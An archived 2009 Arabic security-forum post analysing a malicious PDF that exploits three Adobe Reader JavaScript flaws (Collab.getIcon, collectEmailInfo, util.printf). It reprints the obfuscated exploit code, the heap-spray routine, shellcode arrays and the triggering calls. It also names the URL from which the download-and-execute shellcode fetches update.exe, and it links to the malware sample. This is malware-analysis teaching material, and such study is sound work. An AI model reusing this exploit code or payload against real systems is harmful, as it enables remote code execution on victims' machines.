الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

تحليل Exploit.win32.pidief.bfz

بدأه DATA_SNIPER في 16 سبتمبر 2009 · 0 رد · 1,928 مشاهدة · في قسم أمن المعلومات العام
مشاركة: واتساب X فيسبوك تيليجرام
#1

بسم الله الرحمن الرحيم.

كنت قد كتبت رد (عبارة عن تحليل) في موضوع كتبه الأخ STRELiTZIA عن

-تحليل Exploit.Win32.Pidief.bfz- فأردت أن أنقله هنا للفائدة.

الرابط:

http://www.at4re.com/f/showthread.php?p=57005

اقتباس
السلام عليكم و رحمة الله

ملف ملوث بصيغة : PDF للتحليل :D اسم على مسمى : Pidief

البرنامج الضار هو : Exploit.Win32.Pidief.bfz

الباص : malware

بالتوفيق للجميع

رابط التحميل :

http://www.multiupload.com/TZU2JHGNCN

الرد:

في البداية:

لكي نستخرج الكود هنالك أدوات عديدة من بينها inflater

Usage: inflater.exe input_file output_folder [-v]

 input_file:PDF File
output_folder:أين تريد وضع الـStream التي كانت موجودة في PDF

أو بإستعمال Foxit Reader بإعتباره غير مصاب بتلك الثغرات.

وذلك بعد الإختيار من القائمة Advanced وإختيار Document JavaScript.

foxity.png

سأتحدث عن Payload Evolution او ما يسمى تطور الحمولة في Exploit.

1-الحمولة الأولية:

تم إستعمال تقنية بسيطة في Obfuscation حيث أنه تم وضع Exploit على شكل Hex في مصفوفة.

وبعدها ذلك يقوم الكود بتشغيل Exploit وسنتحدث عن المناورة الذكية المستعملة :).

اكود:

var arr = new Array('%76%61%','72%20%','6c%32%3','1%50%','5a%7a%','30%51%20%3','d%20%6','e%65%........................,'3b');
string = getero(arr);

لقد قمت يقص جزأ كبير من الشفرة لأنها طويلة جدا ستجدون كل شيئ في المرفقات.

الآن سنقوم بتحويل محتويات المصفوفة إلى Printable Char's عن طريق malzilla.

وهذا هو الكود النهائي:

var l21PZz0Q = new Array();
var haZ0Rmde;
function s8oOpYtLG(ve9sKDVuey, yNnpk1Ya6)
{
while(ve9sKDVuey.length * 2 < yNnpk1Ya6)
{
ve9sKDVuey += ve9sKDVuey;
}
ve9sKDVuey = ve9sKDVuey.substring(0, yNnpk1Ya6 / 2);
return 
ve9sKDVuey;
}
function gdBvrtVkT(vGTSfY3ftC)
{
if(vGTSfY3ftC == 0)
{
var vOtVmM9Ws6 = 0x0c0c0c0c;
var ruNE9AoC = new Array('卐%','u5251%u','5756৅','5è%','u0000%u','5d00໘','3̐','d擀','003x','30‹','0cؤ','0炋%','uad1c%u','408b%','ueb08‹','09̈́','0䂍','b7c㱀','坖','ebe%','u0100௾','eŎ%u','0000%','uef01
','6e8%u','0001%','u5f00࢕','e自','廂','01R','00','068','00࿰','0井%u','0001‰','00自','׬','2%u','3100%u','01f6','ac2͙','cɣ','%','ufb80%u','7400%','u8806','21cິ','6౮','e㈄%u','8900%u','81ea%','u45c2','002Ԡ','0闿%u','0152','00%u','c281%u','0250','00ԅ','2闿','156','0j','06a','a89슁%','u015e','','襒','自x','c2','刀','6aذ','ff','6a%u','c281%','u015e%','u0000','f52֩','5','褀','自%','u5ec2%u','0001刀','聨','%u','ff00%','u4e95%','u0001࢐','0自','廂%','u0001%u','3100','6諂%u','359c%','u026e','%','ufb80݀','0蠆%','u321c%','ueb46౮','e㈄%','u8900','自%u','45c2%','u0002%u','5200闿','Œ','','0ê','89','281ɐ','','052%u','95ffŖ','','0','a','6a','న','1','e','襒%','u81ea
','6c2%u','0002刀','j%','ud0ff%u','056a%u','ea89%','uc281','Ş%u','0000%u','ff52֩','5','鴀%u','5f5d֥','e[','59썘%u','0000','00%','u0000','%','u0000%','u0000','','0ٔ','7呴%','u6d65','偰','461䅨','䰀','慯%','u4c64b','69a','72y','72','041ٔ','7側%u','6f72%u','4163%','u6464e','72ܷ','3հ','0湩%','u7845%','u6365»','00%u','f789%u','c030%','u75ae)','fd࢟','7̟','9뻀','<%u','0000%u','b503','21b','00굦','蔃%u','021b','0炋','378᳆%','ub503','1b','00௘','d','1f','00','3adƸ','5%u','ab00','3adᮅ','','000궫','蔃%','u021b','00','eab�','嚭','503!','b','욉%','ud789','c51੯','3t','59帄','%u','5ee9ر','93','3e0➅','','100–','f6૖','6','302ᾅ','','褀%','uadc6…','03ț','ë','c3%u','0000','0','000','00','00%','u8900Ƹ','5','600','857x','?^','5fƫ%u','80ce%u','bb3eɴ','','嗃L','52','f4d.','4eӄ','4L%','u5255%','u444cw','6fۆ','e慯','464F','6f汩%u','4165%','u7500ه','0瑡','e65','865','65牣','獡%u','2e68h','70p%u','7468灴','˳','a愯%u','6f64ٖ','2甭%u','6470݆','1湩%','u2d67%u','6573%','u7672%u','6369','e65%u','6e63%','u6e2f','c75','f6cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
;
haZ0Rmde = app.setTimeOut("app.m2B1rLly()", 10);

لقد قمت بالتعديل على الإستثمار لكي يظهر بشكل مفهوم ومرتب:

var Block = new Array();
var func;
app.m2B1rLly = Exploit_func;
func = app.setTimeOut("app.m2B1rLly()", 10);
function Build_nop(NOP, size)
{
while(NOP.length * 2 < size)
{
NOP += NOP;
}
NOP = NOP.substring(0, size / 2);
return 
NOP;
}
function spray(Version_Chk)
{
//-------------------------------------------------------
if(Version_Chk == 0)
{
var addr = 0x0c0c0c0c;
.............}
}
}

مخطط عمل الـExploit:

graph2f.png

إضغط على الصورة لكي تشاهدها بحجمها الأصلي.

الآن نأتي لتحليل هذا الإستثمار.

كما يظهر فإنه يوجد ثلاث دوال في الإستثمار الرئيسي.

دالة Build_nop :

هي دالة بسيطة تقبل 2 بارامتر وعملها واضح إلى حد ما،لكن ما يهمنا هو الدوال الأخرى.

دالة spray:

يلاحظ من إسم الدالة أنها تقوم بعملية ملأ الكومة (او ما يسمى رش الكومة) بالـNOP + الشل كود ولقد تحدثنا عن هذه التقنية سابقا.

تجدها هنا

http://www.at4re.com/f/showthread.php?t=5144

لاحظ الكود:

//--------------------------------------------------------
Shellcode = unescape(Shellcode.join(""));
var SH_lenD = Shellcode.length * 2;
var size = 0x400000 - (SH_lenD + 0x38);
var NOP = unescape("邐邐");
NOP = Build_nop(NOP, size);
var size2 = (addr - 0x400000) / 0x400000;
for(var i = 0; i < size2; i++)
{
Block = NOP + Shellcode;
}

بالإضافة إلى أن هذه الدالة تقوم بعملية تخصيص الحمولة لكل إصدار.

لاحظ الكود:

if(Version_Chk == 0)
{
var addr = 0x0c0c0c0c;
var Shellcode = new Array('卐%','u5251%u','5756৅',....cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
}
else 
if(Version_Chk == 1){
addr = 0x30303030;
var Shellcode = new Array('卐','251յ','6鱕%u','00e8','00א','0໘','3ㄍ%u','64c0','003%u','7830%u','8b0c%u','0c40p'...'41	','000');
}

الدالة Exploit_func:

وهي الدالة المسؤولة عن تشغيل الإستثمار.

تحتوي هذه الدالة الإجرائيات التالية:

1-إستخراج رقم إصدار Viewer

var Version = app.viewerVersion.toString();

2-تعطيل timing events الذي تم تشغيله في بداية الكود وهو المسؤول عن إستدعاء الدالة Exploit_func،هنا:

func = app.setTimeOut("app.m2B1rLly()", 10);

3-سلسلة من التعليمات الشرطية لتحديد الإستثمار المناسب للتطبيق.

-تم إستغلال ثلاث ثغرات في Adobe Acrobat :

Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method Remote Code Execution Vulnerability
Adobe Acrobat and Reader 'Collab.collectEmailInfo()' Remot Code Execution
Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability

بلاحظ في هذا الإستثمار وجود بعض المناورات :) منها:

var ths = this;
var COB = Collab;
ths["collabStore"] = COB["collectEmailInfo"]({subj : "", msg : Sploit_triger});

كان يمكن تطبيق الثغرة بالشكل التالي:

this.collabStore = Collab.collectEmailInfo({subj: "",msg:  Sploit_triger});

وهذه مناورة ثانية

var metd2 = util;
metd2["printf"]("%45000f", qc1ncdvp);

كان يمكن إستغلالها بالشكل التالي:

util.printf("%45000f",qc1ncdvp);

كنا في البداية قد أشرنا إلى أن الكود إستعمل مناورة ذكية لتشغيل الإستثمار.

لاحظ الشفرة الموجود في نهاية الكود الأول.

string = getero(arr);

يتم فيها إستدعاء الدالة getero وتمرير المصفوفة التي تحتوي على كود الإستثمار، طبعا هذه الدالة غير موجودة في مكتبة javascript الخاصة بالـAdobe ولكنه تم التصريح عنها في سكريبت منفصل وإليك الكود:

function getero(arr)
{
return unescape(arr.join(""));}

تقوم هذه الدالة بوضع جميع عناصر المصفوفة في String.

لحد الآن هذه الأكواد الأخيرة لا تكفي لتشغيل الشفرة المشوشة (الموجودة في المصفوفة)،وكما هو مألوف فإنه يجب أن يلي هذه الأكواد التعليمية التالية التي تقوم بتشغيل المحتويات التي كانت موجودة في المصفوفة:

eval(string)

ومن الملاحظ أنه يوجد سكريبتات أخرى في المستند(وهذا ما عرضه Foxit Reader) لكن السؤال ،كيف سيتم نقل التنفيذ إليها.

هنالك إحتمالين،إما ان Foxit Reader عرضها مفرقة ، أو يتم تشغيل السكريبتات تسلسليا وبالتالي يتم تشغيل الأكواد الأخرى.

الآن نأتي للمناورة الجميلة.

في السكريبتات الأخرى توجد الأكواد التالية:

var aler_t = eval;

والسكريبت الآخر:

aler_t(string);

لا حظ في البداية كنت أظن أن العملية عبارة عن عرض أو إظهار Messagebox لعرض الـString التي تحتوي الكود المشفر لكن لو تلاحظ بشكل جيد تجد أن المبرمج قام بإسناد وظيفة الدالة Eval للمتغير aler_t ليصبح بديلا له:

var aler_t = eval;

وبعدها يقوم بتشغيل محتويات String عن طريق aler_t لكي تظهر وكأنها دالة العرض.

aler_t(string);

ملاحظة:

المتغير المقصود هو aler_t مع نزع underscore

نأتي للشل كود:

وكما هو متوقع الشل كود عبارة عن Download and Exec .

الشل كود بتنسيق UTF-16

卐剑坖...u6c6e慯呤䙯汩䅥甀摰瑡⹥硥e牣獡⹨桰p瑨灴⼺愯潤敢甭摰瑡湩ⵧ敳癲捩⹥湣港汵⽬灵慤整瀮灨椿㵤0退

الشل كود بتنسيق HEX

505351525657559ce8000000005d83ed0d31c0.......e7068703f69643d30000090

يقوم الشل كود بتحميل الملف من الرابط التالي:

http://adobe-updating-service.cn/null/update.php?id=0

ويقوم بتحميله لـTemp path بإسم update.exe.

هذا تحليل بسيط وآسف إن كان فيه بعض الغموض.

والله ولي التوفيق.

ملاحظة:

-لقد قمت بقص الكثير من الأكواد لأنها تزيد من عدد كلمات الموضوع و تشوه تنسيق الصفحة

لذلك فجميع أجزاء الـMalware موجودة في المرفقات.

-وليعذرني الأخ STRELiTZIA لأن لم أطلب إذنه في نقل الموضوع.

رابط خارجي :

http://www.multiupload.com/0HF15353P9

PDF_Malware_Anatomy.rar

تم تعديل هذه المشاركة بواسطة DATA_SNIPER في 16 سبتمبر 2009 في 20:39

infected.png

مدونة علوم الحاسب

مواضيع مشابهة